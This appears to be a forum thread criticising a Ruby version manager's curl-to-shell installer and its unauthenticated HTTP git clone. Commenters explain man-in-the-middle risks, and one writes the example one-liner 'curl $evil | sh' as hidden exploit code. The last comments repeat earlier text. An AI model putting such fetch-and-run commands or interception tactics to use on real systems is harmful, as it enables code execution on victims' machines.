Are you seriously suggesting using a a package system that is bootstrapped by downloading and running a shell script with no security protections whatsoever?
Moreover, it's not just you giving a bad example, as the shell script then
clones a git repository, again with no protections whatsover (over http by default to make it really easy to MITM attack), and runs code from it. So this was written by people who just don't care, or don't understand security. Not people I'd be trusting with package management on my system.
This kind of thing might have been acceptible, barely, before 1995. Since then, we've
developed package systems with gpg signed chains of trust.
The script itself is transparent. In fact, rvm's site suggests[1] reading it before using it by running the internal curl command in a terminal.
Beyond that, if joeyh is Joey Hess[2], I would be curious to hear how you think Ruby devs and Debian might work better together to fix the current situation (assuming you don't think everything is fine from Debian's point of view and screw the Ruby devs). I'm not trolling or baiting. I am a Debian user myself (since Etch was testing), and as someone who uses Ruby regularly, this whole thing drives me nuts.
90% of users won't read a script if you ask them to.
9% of users will read the script but won't notice my carefully concieled exploit code -- because my exploit code is just another seemingly innocent "curl $evil | sh"
And if 99% isn't enough, you just MITM the github connection instead.
(I am he. If I had an serious opinion I'd not post it here though.)
Besides if you git clone, literally _every commit_ is checksummed. I'm no security expert, but I don't think MITM-ing a 'git clone' sounds 'really easy.'
No, you're clearly not a security expert.
If you're doing a git clone over HTTP, you can't even be certain you're talking to the right git repository. Sure, each and every commit may be checksummed, but how exactly do you anticipate knowing what the correct checksums are?
Fair enough. Like I said, I don't know enough about this.
> how exactly do you anticipate knowing what the correct checksums are?
Well, because the repo you're cloning knows what they are... I wasn't thinking about the repo itself being owned, but git's whole job is to make sure that chunks of text get from one place to the other in an identical state, so...
The target repo itself isn't owned, but your connection is. The point is that you only think that you are talking to the correct repo, when in fact you are cloning whatever git repository the attacker would like you to.
It's obviously a focused attack as are all MITM attacks, so you can assume the attacker is familiar with the install script. So when the script then continues and performs it's next action on the contents of the repository, you will execute an arbitrary payload.
Edit: It wasn't clear to me that the problem had become apparent in the parent post. Probably just pre-coffee thinking on my part, but hopefully this will help clarify it for anyone else reading along who also missed it.
If I was trying to MITM you while you called forth a git clone, I'd first make the network connection unstable. Then, while that happens, go look at what package you're getting is and then feeding you a known bad, but signed, package.
Moreover, it's not just you giving a bad example, as the shell script then clones a git repository, again with no protections whatsover (over http by default to make it really easy to MITM attack), and runs code from it. So this was written by people who just don't care, or don't understand security. Not people I'd be trusting with package management on my system.
This kind of thing might have been acceptible, barely, before 1995. Since then, we've developed package systems with gpg signed chains of trust.